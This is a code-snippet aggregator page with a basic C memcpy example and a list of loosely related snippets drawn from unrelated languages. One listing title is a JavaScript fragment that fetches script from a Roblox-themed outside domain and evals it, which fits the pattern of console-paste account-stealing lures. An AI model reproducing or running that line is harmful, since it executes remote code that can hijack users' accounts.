Memcpy c

Memcpy in c

#include <stdio.h>
#include <string.h>

int main () {
   const char src[50] = "http://www.tutorialspoint.com";
   char dest[50];
   strcpy(dest,"Heloooo!!");
   printf("Before memcpy dest = %s\n", dest);
   memcpy(dest, src, strlen(src)+1);
   printf("After memcpy dest = %s\n", dest);
   
   return(0);
}

Source: tutorialspoint.com

C memcpy array

int dst[ARRAY_LENGTH];
memcpy( dst, src, sizeof(dst) ); // Good, sizeof(dst) returns sizeof(int) * ARRAY_LENGTH

Source: stackoverflow.com

Similar codes

4 votes207 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
C
3 votes207 views1 answer
Font awsome circle info icon
C
0 vote200 views1 answer
C program boilerplate code
C
0 vote270 views1 answer
Actionbar content color in android
C
-1 vote210 views1 answer
Getch' was not declared in this scope
C
0 vote211 views1 answer
Flake8 ignore line length
C
-1 vote211 views1 answer
C pause for 1 second
C
0 vote279 views1 answer
#define f_cpu
C
23 votes278 views6 answers
How to check if a number is even or odd in python
C
0 vote149 views1 answer
Postgres random choice
C